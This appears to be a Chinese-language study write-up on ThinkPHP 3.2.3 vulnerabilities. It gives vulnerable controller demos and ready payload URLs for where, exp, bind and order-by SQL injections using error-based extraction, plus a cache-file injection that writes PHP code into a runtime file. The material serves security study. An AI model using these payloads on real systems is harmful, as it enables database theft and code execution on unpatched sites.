這里分析一下 Thinkphp3.2.3里面的一些漏洞問題
Where注入
在控制器中寫個利用demo, 字符串 方式作為where傳參時存在注入
public function getuser(){
$user = M('users')->where('id='.I('id'))->find();
dump($user);
}
下斷點分析

中間的過程有點復雜,我就在返回 sql 語句的出下了斷點,可以看到是類似於 where (1=1) 的形式

並且好像也沒有過濾什么

payload
http://host-2/index.php?m=Home&c=Index&a=getuser&id=1) and extractvalue(0x0a,concat(0x0a,(select version())))--+

exp注入
demo如下
public function getuser(){
$User = D('users');
$map = array('id' => $_GET['id']);//必須使用 全局數組傳參
$user = $User->where($map)->find();
dump($user);
}

payload
http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=exp&id[1]==1 and extractvalue(0x0a,concat(0x0a,(select version())))--+

太菜了,師傅們的分析文章看不懂
bind注入
public function getuser(){
$data['id'] = I('id');
$uname['username'] = I('username');
$user = M('user')->where($data)->save($uname);
dump($user);
}
payload
http://host-2/index.php?m=Home&c=Index&a=getuser&id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

find/select/delete注入
參考文章
https://xz.aliyun.com/t/2629#toc-3
order by注入
public function user(){
$data['username'] = array('eq','admin');
$user = M('users')->where($data)->order(I('order'))->find();
dump($user);
}
payload
order=id and(updatexml(1,concat(0x7e,(select user())),0))

緩存漏洞
在ThinkPHP3.2中,緩存函數有F方法和S方法,兩個方法有什么區別呢,官方介紹如下:
F方法:相當於PHP自帶的file_put_content和file_get_content函數,沒有太多存在時間的概念,是文件存儲數據的方式。常用於文件配置。
S方法:文件緩存,有生命時長,時間到期后緩存內容會得到更新。常用於單頁面data緩存。
public function test(){
S('name',I('test'));
}
我們傳入 test 的值后,會保存在 /Application/Runtime/Temp/md5('name').php 文件里面,里面的值是將我們傳入的值反序列化進去的
payload
http://host-2/index.php?m=Home&c=Index&a=test&test=%0aphpinfo();/*

%oa 先換行跳過 //,在使用 /* 注釋符注釋掉后面的 引號

